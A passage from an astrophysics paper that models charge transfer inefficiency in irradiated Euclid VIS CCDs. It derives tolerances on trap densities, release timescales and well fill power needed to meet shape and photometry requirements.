$\rho_{1,2}$ $-26_{-3}^{+2}$ $26_{-2}^{+3}$ $-166_{-14}^{+12}$ $166_{-12}^{+14}$ $--$ $--$
$\rho_{1,2,3}$ $-2.72\pm0.05$ $2.72\pm0.05$ $-5.71\pm0.03$ $5.71\pm0.03$ $-262.8\pm1.6$ $262.8\pm1.6$
$\tau_{1}$ $-193_{-23}^{+19}$ $193_{-19}^{+23}$ $-1310_{-150}^{+120}$ $1310_{-120}^{+150}$ $<-10000$ $>10000$
$\tau_{2}$ $-300_{-360}^{+90}$ $270_{-70}^{+150}$ $-270_{-70}^{+50}$ $270_{-50}^{+80}$ $<-10000$ $>10000$
$\tau_{3}$ $-4.00\pm0.04$ $4.00\pm0.04$ $-11.30\pm0.05$ $11.31\pm0.05$ $-1574_{-23}^{+24}$ $2320_{-90}^{+100}$
$\tau_{1,2}$ $-420_{-420}^{+150}$ $700_{-400}^{+900}$ $-220_{-50}^{+30}$ $230_{-40}^{+50}$ $<-10000$ $>10000$
$\tau_{1,2,3}$ $-4.03\pm0.04$ $4.04\pm0.04$ $-11.69\pm0.05$ $11.68\pm0.05$ $-1454_{-20}^{+19}$ $2020_{-60}^{+70}$
$\tau_{1,2,3}, \rho_{1,2,3}$, first pixel matched $-16.07_{-0.61}^{+0.57}$ $16.09_{-0.57}^{+0.61}$ $-16.17\pm0.09$ $16.21\pm0.09$ $-262.5\pm0.7$ $263.0\pm0.7$
\[tab:tolerances\]
--------------------------------------------------- ------------------------------------------------- ------------------------------------------------- ------------------------------------------------- ------------------------------------------------- ------------------------------------------------- ------------------------------------------------- --
Figure \[fig:mdm2\_exp2\] shows the $\mathbf{M}+\delta\mathbf{M}$ experiment for one or more of the release timescales $\tau_{i}$ of the trap model. The upper panel of Fig. \[fig:mdm2\_exp2\] presents the spurious ellipticity $\Delta e_{1}$ for five different branches of the experiment. In each of the branches, we modify the release timescales $\tau_{i}$ of one or several of the trap species by multiplying it with a factor $(\tau_{i}+\Delta\tau_{i})/\tau_{i}$.
As in Fig. \[fig:mdm2\_exp1\], the upward triangles in Fig. \[fig:mdm2\_exp2\] denote that the correction model applied to the images degraded with the baseline model used a density of $\tau_{1}+\Delta\tau_{1}$ for the fast trap species. The release timescales of the other species are kept to their baseline values in this case. The other four branches modify $\tau_{2}$ (downward triangles); $\tau_{3}$ (squares); $\tau_{1}$ and $\tau_{2}$ (diamonds); and all three trap species (circles).
Because a value of $\Delta\tau\!=\!0$ reproduces the baseline model in all branches, all of them recover the zeropoint measurement of $\Delta e_{1}$ there. The three trap species differ in how the $\Delta e_{1}$ they induce varies as a function of $\Delta\tau_{i}$. One the one hand, for $\tau_{1}$, we observe more negative $\Delta e_{1}$ for $(\tau_{i}+\Delta\tau_{i})/\tau_{i}\!<\!1$ , and less negative values for $(\tau_{i}+\Delta\tau_{i})/\tau_{i}\!>\!1$, with a null at $(\tau_{i}+\Delta\tau_{i})/\tau_{i}\!\approx\!1.5$. On the other hand, with the slow traps ($\tau_{3}$), we find $\Delta e_{1}\!>\!0$ for $(\tau_{i}+\Delta\tau_{i})/\tau_{i}\!\la\!0.99$, and more negative values than the zeropoint for $(\tau_{i}+\Delta\tau_{i})/\tau_{i}\!>\!1$. The curve of $\Delta e_{1}(\lambda\tau_{2})$ shows a maximum at $(\tau_{i}+\Delta\tau_{i})/\tau_{i}\!\approx\!0.8$, with a weak dependence on $0.7\!\la\!(\tau_{i}+\Delta\tau_{i})/\tau_{i}\!\la\!1.1$.
Key to understanding the spurious ellipticity as a function of the $\tau_{i}$ is the dependence of $\Delta e_{1}(\tau)$ for a single trap species that we presented in Fig. \[fig:raw4panel\], and expressed by the empirical fitting function $f_{\mathrm{e_{\alpha}}}(\tau)$ (Eq. \[eq:adg\]) with the parameters quoted in Table \[tab:tolerances\]. While the correction algorithm effectively removes the trailing when the true $\tau_{i}$ is used, the residual of the correction will depend on the difference between the $\Delta e_{\alpha}$ for $\tau_{i}$ and for the timescale $(\tau_{i}+\Delta\tau_{i})/\tau_{i}$ actually used in the correction. This dependence is captured by the predictive model (Eq. \[eq:sumpred\]), which simplifies for the situation in Fig. \[fig:mdm2\_exp2\] ($\Delta\rho_{i}\!=\!0$) to $$\label{eq:taupred}
\Delta f^{\mathrm{Pr}}(\tau_{i}+\Delta\tau_{i})\!=\!Z+
\sum_{i}\rho_{i}\left[f(\tau_{i}) - f(\tau_{i}+\Delta\tau_{i})\right],$$ with $Z\!=\!\sum_{i}\rho_{i}f^{\mathrm{resid}}(\tau_{i})$ (lines in Fig. \[fig:mdm2\_exp2\]). In the branches modifying $\tau_{1}$ and/or $\tau_{2}$, but not $\tau_{3}$, the measurements over the whole range of $0.5\!\leq\!(\tau_{i}+\Delta\tau_{i})/\tau_{i}\!\leq\!1.6$ agree with the empirical model within their uncertainties. If $\tau_{3}$ is varied, Eq. (\[eq:taupred\]) overestimates $|\Delta e_{1}|$ significantly for $|\Delta\tau_{i}|\!>\!0.05\tau_{i}$. We discuss a possible explanation in Sect. \[sec:disc\]. Our empirical model provides a natural explanation for the maximum in $\Delta e_{1}(\tau_{2})$: Because $\tau_{2}\!=\!3.5$ is located near the peak in $f_{\mathrm{e_{1}}}(\tau)$, assuming $(\tau_{i}+\Delta\tau_{i})/\tau_{i}\!\leq\!0.8$ for correction means using a release time regime where $\Delta e_{1}(\tau)$ is still rising instead of falling. The correction software accounts for this; hence the spurious ellipticity from using the wrong release time scale shows the same maximum as $f_{\mathrm{e_{1}}}(\tau)$.
Because $\tau_{2}$ is not located very closely to the peak in $\Delta R^{2}/\Delta R^{2}_{\mathrm{true}}(\tau)$ (cf. Fig. \[fig:raw4panel\]), we do not see an extremum in the lower panel of Fig. \[fig:mdm2\_exp2\] which shows the sensitivity of the size bias in bright stars to variations in the $\tau_{i}$.
In order to compute the tolerances $\Delta\tau_{\mathrm{tol}}$ towards changes in the release timescales, we again employ a polynomial fit (eq. \[eq:tol\]). Evidently, the tolerances differ substantially between the $\tau_{i}$, again with the narrower tolerance intervals from $\Delta e_{1}$ than from $\Delta R^{2}/\Delta R^{2}_{\mathrm{true}}$. Only for $\Delta\tau_{2}$ with its extreme point for $\Delta e_{1}$ near the baseline value, we find similar tolerances in both cases. However, even for the rare trap species $\tau_{1}$, the tolerance is only $\Delta\tau_{1,\mathrm{tol}}\!=\!(1.93\pm0.23)$ %. One needs to know the release timescale of the slow trap species to an accuracy of $(0.0400\pm0.0004)$ % to be able to correct it within *Euclid* VIS requirements. We find the same tolerance if all timescales are varied in unison.
### Combinations of timescales and densities yielding the same first trail pixel flux {#sec:sti}
![The same as Fig. \[fig:mdm2\_exp2\], but for $\Delta\tau_{i}\!<\!0$ combinations of timescales $\tau_{i}$ and densities $\rho_{i}$ that yield the same count rate in the first trail pixel as the baseline model. All trap species are modified in unison (large symbols and solid line). For comparison, small symbols and the dotted line repeat the result from Fig. \[fig:mdm2\_exp2\], where only the $\tau_{i}$ were modified, not the $\rho_{i}$. (Notice the different scale of the ordinates.) The lines show the predictive models (Eq. \[eq:sumpred\]). We study the worst affected objects (end of the mission, furthest from the readout register) and the faintest *Euclid* galaxies.[]{data-label="fig:mdm2_exp3"}](fig7a.pdf "fig:"){width="90mm"} ![The same as Fig. \[fig:mdm2\_exp2\], but for $\Delta\tau_{i}\!<\!0$ combinations of timescales $\tau_{i}$ and densities $\rho_{i}$ that yield the same count rate in the first trail pixel as the baseline model. All trap species are modified in unison (large symbols and solid line). For comparison, small symbols and the dotted line repeat the result from Fig. \[fig:mdm2\_exp2\], where only the $\tau_{i}$ were modified, not the $\rho_{i}$. (Notice the different scale of the ordinates.) The lines show the predictive models (Eq. \[eq:sumpred\]). We study the worst affected objects (end of the mission, furthest from the readout register) and the faintest *Euclid* galaxies.[]{data-label="fig:mdm2_exp3"}](fig7b.pdf "fig:"){width="90mm"}
Considering how trap parameters are constrained practically from Extended Pixel Edge Response (EPER) and First Pixel Response (FPR) data, it is instructive to consider combinations of trap release timescales $\tau_{i}$ and densities $\rho_{i}$ that yield the same number of electrons in the first pixel of the trail as the baseline model. This is interesting because given realistic conditions, the first pixel of the trail will have the largest signal-to-noise ratio and will be most easily constrained. We thus perform an initial exploration of the parameter degeneracies. In our “first pixel matched” models, the effect of a given change in $\tau$ on the first trail pixel needs to be compensated by a change in $\rho$. Because a larger (smaller) $\tau$ means more (less) charge close to the original pixel, the compensation requires $\Delta\rho_{i}\!<\!0$ for $\Delta\tau_{i}\!<\!1$ and $\Delta\rho_{i}\!>\!1$ for $\Delta\tau_{i}\!>\!1$. Only in the branches where we vary $\tau_{3}$ or all timescales together, we find the $\Delta\rho_{i}$ to differ noticeably from unity. For the latter two, they populate a range between $\Delta\rho_{i}\!=\!0.745$ for $\Delta\tau_{i}\!=\!0.7$ to $\Delta\rho_{i}\!=\!1.333$ for $\Delta\tau\!=\!1.4$.
Figure \[fig:mdm2\_exp3\] shows the $\mathbf{M}+\delta\mathbf{M}$ experiment for all $\tau_{i}$ and $\rho_{i}$ (large symbols). Small symbols depict the alteration to $\tau_{i}$, but with the $\rho_{i}$ kept fixed, i.e. the same measurement as the open circles in Fig. \[fig:mdm2\_exp2\]. Compared to these, $\Delta e_{1}$ in faint galaxies (upper panel) is of opposite sign in the “first pixel matched” case, relative to the zeropoint. This can be understood as an effect of our baseline trap mix being dominated by slow traps, for which a small increase in $\tau$ leads to *less* CTI-induced ellipticity. The simultaneous increase in trap density effects *more* CTI-induced ellipticity, and this is the larger of the two terms, such that a change in sign ensues. The same holds for $\Delta R^{2}/R^{2}_{\mathrm{true}}$ in bright stars (lower panel of Fig. \[fig:mdm2\_exp3\]), but with inverted slopes compared to $\Delta e_{1}$.
Again using eq. (\[eq:tol\]), we compute the tolerance range for the changes to the $\tau_{i}$ in the “first pixel matched” case. (The respective changes to the $\rho_{i}$ are determined by the first pixel constraint.) Modifying all release time scales, we arrive at $\Delta\tau_{\mathrm{tol}}\!=\!0.16$ %. (Table \[tab:tolerances\]). This tolerance is wider than the $0.04$% for $\Delta e_{1}$ when only the $\tau_{i}$ are varied, again due to the different signs arising from variations to $\tau_{3}$ and $\rho_{3}$. By coincidence, we also arrive at $\Delta\tau_{\mathrm{tol}}\!=\!0.16$ % when repeating that test with the size bias measured in bright stars.
The black solid line in Fig. \[fig:mdm2\_exp3\] shows the predictive model (eq. \[eq:sumpred\]), taking into account the combined effect of the $\Delta\tau_{i}$ and $\Delta\rho_{i}$, giving the same first pixel flux. Both in the $\tau_{i}$-only (dotted line) and “first pixel matched” cases it matches the measurements only within a few percent from $\lambda\!=\!1$. Crucially, this mismatch only occurs for $\Delta e_{1}$ in faint galaxies, but not for $\Delta R^{2}/R^{2}_{\mathrm{true}}$ in bright stars.
We explain this discrepancy with the uncertainties with which our measurements and modelling (Fig. \[fig:raw4panel\]) describe the underlying function $f_{\mathrm{e_{1}}}(\tau)$. The range $20\!\la\!\tau\!\la\!100$ is where the fitting function Eq. (\[eq:adg\]) deviates most from the observations in Fig. \[fig:raw4panel\]. The CTI correction effectively removes almost all CTI effects on photometry and morphology, leaving the residuals presented in Figs. \[fig:mdm2\_exp1\] to \[fig:flux2\], at least one order of magnitude smaller than the scales of the uncorrected CTI effects. Hence, a relatively small uncertainty in $f(\tau)$ causes a large mismatch with the data.
The cause of the uncertainty in the parameters of Eq. (\[eq:adg\]), shown in Table \[tab:taufits\], is twofold: First, there is uncertainty in the fit as such. Second, there is uncertainty due to the finite sampling of the $\Delta e_{\alpha}(\tau)$ and $\Delta F_{\mathrm{rel}}(\tau)$ curves. Running a denser grid in $\tau$ can remove the latter, but the former might be ultimately limited by our choice of the function (Eq. \[eq:adg\]), which is empirically motivated, not physically. We further discuss the limits of the predictive model in Sect. \[sec:disc\].
Residual flux errors after imperfect CTI correction {#sec:photo}
---------------------------------------------------
### Flux bias as a function of readout noise {#sec:fluxrn}
![Relative bias in RRG flux with respect to the true input flux, as a function of readout noise (*upper panel*) and well fill power $\beta$ (*lower panel*). Solid lines give the best-fit polynomial models. The grey-shaded *Euclid* requirement range is centred on zero for the readout noise plot, and on the zeropoint corresponding to the default readout noise for the $\beta$ plot. Measurement uncertainties are shown, but very small. We study the worst affected objects (end of the mission, furthest from the readout register) and the faintest *Euclid* galaxies.[]{data-label="fig:flux1"}](fig8a.pdf "fig:"){width="90mm"} ![Relative bias in RRG flux with respect to the true input flux, as a function of readout noise (*upper panel*) and well fill power $\beta$ (*lower panel*). Solid lines give the best-fit polynomial models. The grey-shaded *Euclid* requirement range is centred on zero for the readout noise plot, and on the zeropoint corresponding to the default readout noise for the $\beta$ plot. Measurement uncertainties are shown, but very small. We study the worst affected objects (end of the mission, furthest from the readout register) and the faintest *Euclid* galaxies.[]{data-label="fig:flux1"}](fig8b.pdf "fig:"){width="90mm"}
Given the default rms readout noise of $4.5$ electrons, we measure a flux bias $\Delta F_{\mathrm{rel}}\!=\!\Delta F/F_{\mathrm{true}}$ relative to the true flux $F_{\mathrm{true}}$ in the input faint galaxy simulations of $(-1.980\pm0.012)$ % after CTI correction, corresponding to $92.9$ % of the CTI-induced flux bias being corrected. The upper panel of Fig. \[fig:flux1\] shows the relative flux biases before and after correction as a function of rms readout noise. Without readout noise, the flux bias can be corrected perfectly ($\Delta F_{\mathrm{rel}}\!=\!(0.002\pm0.012)\times 10^{-2}$ after correction). With increasing readout noise, the flux bias deteriorates, in a way that can be fitted with a cubic polynomial in terms of readout noise. Comparing to the degraded images, we notice that the correction software applies same amount of correction, independent of the readout noise. Because the mitigation algorithm in its current form does not include a readout noise model, this confirms our expectations.
We show the *Euclid* requirement on photometric accuracy as the grey-shaded area in Fig. \[fig:flux1\] (upper panel), centred on zero. The nominal readout noise case exceeds the requirement of $<\!0.7$ % photometric uncertainty for the faintest, worst-affected galaxies we study. However, the CTI-induced bias affects all VIS images, and would thus be calibrated out. The *Euclid* flux requirement can be understood as pertaining to *uncertainties*, not *biases* in the photometric calibration. The uncertainty of the flux bias, $0.0012$ % then makes only a tiny contribution to the photometric error budget. We now go on to study the sensitivity of the flux bias towards changes in the trap model.
### Flux bias as a function of well fill power $\beta$
The lower panel of Fig. \[fig:flux1\] shows how a change in well fill power $\beta$ alters the flux bias. If we correct the degraded images using a $\beta\!>\!\beta_{0}$, the model accounts for less CTI in small charge packages, i.e. less CTI in the image’s wings that are crucial for both photometry and morphology (cf. fig. \[fig:mdm2\_exp0\]) Hence, a $\beta\!>\!\beta_{0}$ leads to an undercorrection relative to the flux bias zeropoint $Z_{\mathrm{F}}$ (Sect. \[sec:fluxrn\]), while for $\beta\!-\!\beta_{0}\!\la\!-0.017$, the zero line is crossed and overcorrection occurs.
Although $\Delta F_{\mathrm{rel}}(\beta)$ in Fig. \[fig:flux1\] appears linear, using the criterion based on significant components (Sect. \[sec:rho\]), a quadratic is preferred, indicated by the solid line. Using eq. (\[eq:tol\]), we compute the tolerance range in $\beta$ given $\Delta F_{\mathrm{rel}}(\beta_{\mathrm{tol}})\!=\!0.007$, centred on $Z_{\mathrm{F}}$. Towards smaller well fill powers, we find $\Delta\beta_{\mathrm{tol}}^{\mathrm{min}}\!=\!-(6.15\pm0.03)\times 10^{-3}$, while towards larger $\beta$, we find $\Delta\beta_{\mathrm{tol}}^{\mathrm{max}}\!=\!(6.05\pm0.03)\times 10^{-3}$. Compared to the constraints on the knowledge of $\beta$ from $\Delta e_{1}$ derived in Sect. \[sec:beta\], these margins are $\sim\!100$ times wider.
### Flux bias as a function of trap densities {#sec:fluxrho}
The upper plot of Fig. \[fig:flux2\] shows the flux bias $\Delta F_{\mathrm{rel}}$ in dependence of a change $\Delta\rho_{i}$ to the densities $\rho_{i}$ in the correction model, in analogy to Sect. \[sec:rho\]. Unless the density of the dominant trap species $\rho_{3}$ is modified, we measure only insignificant departures from the zeropoint $Z_{\mathrm{F}}$. Given the high accuracy of the flux measurements, these are still significant measurements, but they are negligible with respect to the *Euclid* requirement on flux. If all $\rho_{i}$ are varied in unison, the effect on $\Delta F_{\mathrm{rel}}$ is largest. A linear model using Eq. (\[eq:polynom\]) yields a tolerance of $\Delta\rho_{i}^{\mathrm{tol}}/\rho_{i}\!=\!\pm2.628\pm0.016$ %, wider than the tolerances for $\Delta e_{1}$ or $\Delta R^{2}/R^{2}_{\mathrm{true}}$ (Table \[tab:tolerances\]). The lines in the upper plot of Fig. \[fig:flux2\] show that the model (eq. \[eq:rhopred\]) matches our measurements well over the range in $\Delta\rho_{i}$ we tested.
### Flux bias as a function of release timescales
The lower plot of Fig. \[fig:flux2\] shows the flux bias $\Delta F_{\mathrm{rel}}$ in dependence of a change $\Delta\tau_{i}$ in the correction model, like in Sect. \[sec:tau\]. As for varying the $\rho_{i}$ (Sect. \[sec:fluxrho\]), a change to only the fast and/or the medium traps yields only small departures from the zeropoint such that we can bundle together all trap species for deriving a tolerance range. The respective measurements (black circles in Fig. \[fig:flux2\]) show a steep slope at $\Delta\tau_{i}\!<\!0$ that flattens out to $\Delta\tau_{i}\!>\!0$. This can be explained given the saturation of $\Delta F_{\mathrm{rel}}$ found at large $\tau$ in Fig. \[fig:raw4panel\] and is confirmed by our model (eq. \[eq:taupred\]; dotted line in Fig. \[fig:flux2\]). Our prediction is offset from the measurement due to uncertainties in the modelling, but the slopes agree well.
Although polynomial fits using eq. (\[eq:polynom\]) warrant cubic terms in both cases, $\Delta F_{\mathrm{rel}}(\tau_{i}\!+\!\Delta\tau_{i})$ is much straighter in the “first pixel matched” case where also the $\rho_{i}$ are altered (star symbols in Fig. \[fig:flux2\]; cf. Sect. \[sec:sti\]). The reason is that the slopes of $\Delta F_{\mathrm{rel}}(\rho_{i}\!+\!\Delta\rho_{i})$ and $\Delta F_{\mathrm{rel}}(\tau_{i}\!+\!\Delta\tau_{i})$ have the same sign and do not partially cancel each other out, as is the case for $\Delta e_{1}(\rho_{i}\!+\!\Delta\rho_{i})$ and $\Delta e_{1}(\tau_{i}\!+\!\Delta\tau_{i})$. Again, eq. (\[eq:sumpred\]) succeeds in predicting the measurements, despite offsets that are significant given the small uncertainties but small in terms of $\Delta F_{\mathrm{rel}}$ in the uncorrected images.
Using the cubic fits, we find the following wide tolerance ranges (eq. \[eq:tol\]) $\Delta\tau_{3,\mathrm{min}}^{\mathrm{tol}}/\tau_{3}\!=\!15.7\pm0.2$ % and $\Delta\tau_{3,\mathrm{max}}^{\mathrm{tol}}/\tau_{3}\!=\!23.2_{-0.9}^{+1.0}$ %. In the “first pixel matched”, case the intervals are considerably tighter, due to the contribution from the change in densities, with $\Delta\tau_{i,\mathrm{min}}^{\mathrm{tol}}/\tau_{i}\!=\!2.625\pm0.007$ % and $\Delta\tau_{i,\mathrm{max}}^{\mathrm{tol}}/\tau_{i}\!=\!2.630\pm0.007$ %. Again, the strictest constraints come from the ellipticity component $\Delta e_{1}$.
![*Upper panel:* The same as Fig. \[fig:mdm2\_exp1\], but showing the sensitivity of the measured flux bias $\Delta F/F_{\mathrm{true}}$ as a function of the relative change in trap densities $\rho_{i}$. *Lower panel:* The same as Fig. \[fig:mdm2\_exp2\], but showing the flux bias $\Delta F/F_{\mathrm{true}}$ as a function of the relative change in trap densities $\tau_{i}$. Star symbols and the solid line denote the “first pixel matched” model for all trap species. The lines in both panels show the predictive model (eq. \[eq:sumpred\]). We study the worst affected objects (end of the mission, furthest from the readout register) and the faintest *Euclid* galaxies.[]{data-label="fig:flux2"}](fig9a.pdf "fig:"){width="90mm"} ![*Upper panel:* The same as Fig. \[fig:mdm2\_exp1\], but showing the sensitivity of the measured flux bias $\Delta F/F_{\mathrm{true}}$ as a function of the relative change in trap densities $\rho_{i}$. *Lower panel:* The same as Fig. \[fig:mdm2\_exp2\], but showing the flux bias $\Delta F/F_{\mathrm{true}}$ as a function of the relative change in trap densities $\tau_{i}$. Star symbols and the solid line denote the “first pixel matched” model for all trap species. The lines in both panels show the predictive model (eq. \[eq:sumpred\]). We study the worst affected objects (end of the mission, furthest from the readout register) and the faintest *Euclid* galaxies.[]{data-label="fig:flux2"}](fig9b.pdf "fig:"){width="90mm"}
Discussion {#sec:disc}
==========
Limits of the predictive model
------------------------------
We measured tolerance ranges for changes in the $\rho_{i}$ and $\tau_{i}$ given the *Euclid* VIS requirements, and presented a model (Eq. \[eq:sumpred\]) capable of predicting these results based on the $\Delta\eta(\tau)$ curves (e.g. $\Delta e_{1}(\tau)$, Fig. \[fig:raw4panel\]), that are less expensive to obtain in terms of CPU time. However, as can be seen in particular in Fig. \[fig:mdm2\_exp3\], there is a mismatch between predictions and measurements for $\tau_{3}$, the most common baseline model trap species. As discussed in Sect. \[sec:sti\], this is caused by the finite sampling and the empirical nature of eq. (\[eq:adg\]).
Unfortunately, $f(\tau)$ and $f^{\mathrm{resid}}(\tau)$ will likely depend non-trivially on the source profile. Moreover, Eq. (\[eq:sumpred\]), if applied to ellipticity, treats it as additive. Where this approximation breaks down, i.e. when values that are not $\ll\!1$ are involved, the correct additional formula [e.g. @2006glsw.book.....S] must be used. This applies to CTI-induced ellipticity as well as to large intrinsic or shear components.
We tested that the dependence on $\beta$ (Fig. \[fig:mdm2\_exp0\]) can be included in the model as well, yielding $$\begin{gathered}
\label{eq:betapred}
\Delta f^{\mathrm{Pr}}(\beta,\rho_{i},\tau_{i})\!=\!\sum_{i}\rho_{i}f^{\mathrm{resid}}(\tau_{i})
+ [f(\beta\!+\!\Delta\beta)\!-\!f(\beta)] \\
\times\sum_{i}\left[\rho_{i}f(\tau_{i})-(\rho_{i}\!+\!\Delta\rho_{i})f(\tau_{i}\!+\!\Delta\tau_{i})\right].\end{gathered}$$
Applicability
-------------
Our findings pertain specifically to CTI correction employing the @2014MNRAS.439..887M iterative correction scheme, the current nominal procedure for *Euclid* VIS. Other algorithms for the removal of CTI trailing exist that might not be susceptible in the same way to readout noise. @2012MNRAS.419.2995P, investigating the full-forward approach designed for *Gaia*, did not observe a readout noise floor similar to the one we found. The same might hold for including CTI correction in a forward-modelling shear measurement pipeline [e.g. @2013MNRAS.429.2858M]. However, the *Gaia* method has not been applied yet to actual observational data, and the @2014MNRAS.439..887M is the most accurate method for the CTI correction of real data today.
We remind the reader that our results on the zeropoints upon correcting with the correct model (Fig. \[fig:mdm2\_exp0\]) are dependent on the specifics of the small and faint galaxies we simulated. Further tests will determine if the large bias in $R^{2}$ persists under more realistic scenarios.
The narrow tolerances of $\Delta\rho/\rho\!=\!0.11$% and $\Delta\tau/\tau\!=\!0.17$% for the density of the slow traps species might look daunting, but fortunately, due to the discernible trails caused by these traps it is also the easiest species of which to determine the properties. Conversely, the $\Delta\rho/\rho\!=\!3$% and $\Delta\tau/\tau\!=\!8$% for the fast traps are much larger, but constraints on these traps will be harder to achieve from laboratory and in-flight calibration data. Considering the “first pixel matched” case, taking into account how trap parameters are determined from CTI trails, relaxes the tolerances from ellipticity but tightens the (much broader) tolerances from the photometric, for our particular baseline trap mix. We notice that, while trap parameters are degenerate and Sect. \[sec:sti\] marks a first attempt to disentangle these parameters, each (degenerate) set of parameters can yield a viable CTI correction. Characterising the true trap species, however, is crucial with respect to device physics applications.
Source profile-dependence of the CTI-induced flux bias $\Delta F_{\mathrm{rel}}$ will lead to a sample of realistic sources (i.e. with a distribution of source profiles) showing a range in $\Delta F_{\mathrm{rel}}$ at any given readout noise level. Thus, the uncertainty in $\Delta F_{\mathrm{rel}}$ will be larger than the $10^{-4}$ we measured for our broad-winged, but homogeneous images in Sect. \[sec:fluxrn\]. More sophisticated simulations are necessary to assess the role of the variable CTI-induced flux bias in *Euclid*’s photometric error budget.
Conclusions and Outlook {#sec:conclusion}
=======================
The goal was to bridge the divide between engineering measurements of CTI, and its degradation of scientific measurements of galaxy shapes. We have developed a very fast algorithm to model CTI in irradiated e2v Technologies CCD273 devices, reproducing laboratory measurements performed at ESTEC. We take a worst-case approach and simulate the faintest galaxies to be studied by *Euclid*, with a broad-winged exponential profile, at the end of the mission and furthest away from the readout register. Our analysis is hindered by the divergent surface brightness moments of the Marsaglia-Tin distribution that the ellipticity components follow. We alleviate this problem by means of a Taylor expansion around the mean of the denominator, yielding an accuracy of $\sigma e_{\alpha}\!\approx\!10^{-4}$ by averaging over $10^{7}$ simulated images. We advocate that *Euclid* requirements be re-defined in a way that avoids ratios of noisy quantities.
Our detailed study of the trapping process has confirmed that not all traps are equally bad for shape measurement [@2010PASP..122..439R]: Traps with release timescales of a few clocking cycles cause the largest spurious ellipticity, while all traps with longer $\tau_{i}$ yield the strongest flux bias.
The impact of uncertainties in the trap densities $\rho_{i}$ and time scales $\tau_{i}$ on CTI effects can be predicted to a satisfactory accuracy by a model that is linear in the $\rho_{i}$ and additive in the effects of different trap species. For future applications, this will allow us to reduce the simulational effort in CTI forecasts, calculating the effect of trap pixels from single species data.
Informed by laboratory data of the irradiated CCD273, we have adopted a baseline trap model for *Euclid* VIS forecasts. We corrected images with a trap model $\mathbf{M}+\delta\mathbf{M}$ offset from the model $\mathbf{M}$ used for applying CTI. Thus we derived tolerance ranges for the uncertainties in the trap parameters, given *Euclid* requirements, positing that the required level of correction will be achieved. We conclude:
1.
: In the absence of readout noise, perfect CTI correction in terms of ellipticity and flux can be achieved.
2.
: Given the nominal rms readout noise of $4.5$ electrons, we measure $Z_{\mathrm{e_{1}}}\!=\!\Delta e_{1}\!=\!-1.18\times10^{-3}$ after CTI correction. This still exceeds the *Euclid* requirement of $\left|\Delta e_{1}\right|\!<\!1.1\times10^{-4}$. The requirement may still be met on the actual ensemble of galaxies *Euclid* will measure, since we consider only the smallest galaxies of $S/N\!=\!11$. Likewise, in $S/N\!=\!200$ stars, we measure a size bias of $1.12\times10^{-3}$, exceeding the requirement of $\left|\Delta R^{2}/R^{2}_{\mathrm{true}}\right|\!<\!4\times10^{-4}$.
3.
: The spurious ellipticity $\Delta e_{1}$ sensitively depends on the correct well fill power $\beta$, which we need to constrain to an accuracy of $\Delta\beta_{\mathrm{tol}}\!=\!(6.31\pm0.07)\times 10^{-5}$ to meet requirements. This assumes calibration by a single, bright charge injection line. The narrowest tolerance intervals are found for the dominant slow trap species in our baseline mix: $\Delta\rho_{\mathrm{tol}}/\rho_{0}\!=\!(\pm0.0272\pm0.0005)$%, and $\Delta\tau_{\mathrm{tol}}/\tau_{0}\!=\!(\pm0.0400\pm0.004)$%.
4.
: Given the nominal rms readout noise, we measure a flux bias $Z_{\mathrm{F}}\!=\!\Delta F_{\mathrm{rel}}\!=\!(-1.980\pm0.012)$% after CTI correction, within the required $\left|\Delta F_{\mathrm{rel}}\right|\!<\!0.7$ % for the photometric uncertainty. More relevant for *Euclid* will be the uncertainty of this bias, which for realistic sources depends on their source profile. Further study is necessary here, as well as for the impact of CTI on photometric nonlinearity.
The final correction will only be as good as on-orbit characterisation of physical parameters such as trap locations, density and release time. The next steps building on this study should include: 1.) Researching and testing novel algorithms mitigating the effects of read noise as part of the CTI correction. 2.) Characterising the effect of realistic source profile distributions in terms of the photometric and nonlinearity requirements. 3.) Translating the tolerances in trap model parameters into recommendations of calibration measurements and their analysis, based on modelling the characterisation of trap species.
Plans for *Euclid* VIS calibration have already been updated to include charge injection at multiple levels such that $\beta$ does not need to be extrapolated from bright charge injection lines to faint galaxies. We will continue to liaise between engineers and scientists to determine how accurately it will be necessary to measure these physical parameters. The VIS readout electronics will be capable of several new in-orbit calibration modes such as trap pumping [@2012SPIE.8453E..17M] that are not possible with HST, and our calculations will advise what will be required, and how frequently they need to be performed, in order to adequately characterise the instrument for scientific success.
Acknowledgements {#acknowledgements .unnumbered}
================
This work used the DiRAC Data Centric system at Durham University, operated by the Institute for Computational Cosmology on behalf of the STFC DiRAC HPC Facility (www.dirac.ac.uk). This equipment was funded by BIS National E-infrastructure capital grant ST/K00042X/1, STFC capital grants ST/H008519/1 and ST/K00087X/1, STFC DiRAC Operations grant ST/K003267/1 and Durham University. DiRAC is part of the National E-Infrastructure.
HI thanks Lydia Heck and Alan Lotts for friendly and helpful system administration. HI acknowledges support through European Research Council grant MIRG-CT-208994. RM and HI are supported by the Science and Technology Facilities Council (grant numbers ST/H005234/1 and ST/N001494/1) and the Leverhulme Trust (grant number PLP-2011-003). JR was supported by JPL, run under a contract for NASA by Caltech. OC and OM acknowledge support from the German Federal Ministry for Economic Affairs and Energy (BMWi) provided via DLR under project no. 50QE1103.
The authors thank Henk Hoekstra, Peter Schneider, Yannick Mellier, Tom Kitching, Reiko Nakajima, Massimo Viola, and the members of *Euclid* CCD Working group, *Euclid* OU-VIS and OU-SHE groups for comments on the text and useful discussions.
Informing the baseline model with laboratory data {#sec:labdata}
=================================================
EPER/FPR data with irradiated CCD
---------------------------------
![CCD273 EPER trails in the serial (*upper plot*) and parallel (*lower plot*) directions. Shown here are the G quadrant trails at an input signal of $\sim\!1000$ electrons. Solid lines within the light and dark grey shaded areas denote the average and its uncertainty of the profile before and after correction for electronic effects. The best-fit model to the corrected trail is shown as a long-dashed line. For the purpose of illustration, the baseline trap model is shown in both plots as a short-dashed line. Building on the serial EPER model, the baseline model includes fast traps that are seen in quadrant F.[]{data-label="fig:trails"}](figA1a.pdf "fig:"){width="85mm"}\
![CCD273 EPER trails in the serial (*upper plot*) and parallel (*lower plot*) directions. Shown here are the G quadrant trails at an input signal of $\sim\!1000$ electrons. Solid lines within the light and dark grey shaded areas denote the average and its uncertainty of the profile before and after correction for electronic effects. The best-fit model to the corrected trail is shown as a long-dashed line. For the purpose of illustration, the baseline trap model is shown in both plots as a short-dashed line. Building on the serial EPER model, the baseline model includes fast traps that are seen in quadrant F.[]{data-label="fig:trails"}](figA1b.pdf "fig:"){width="85mm"}
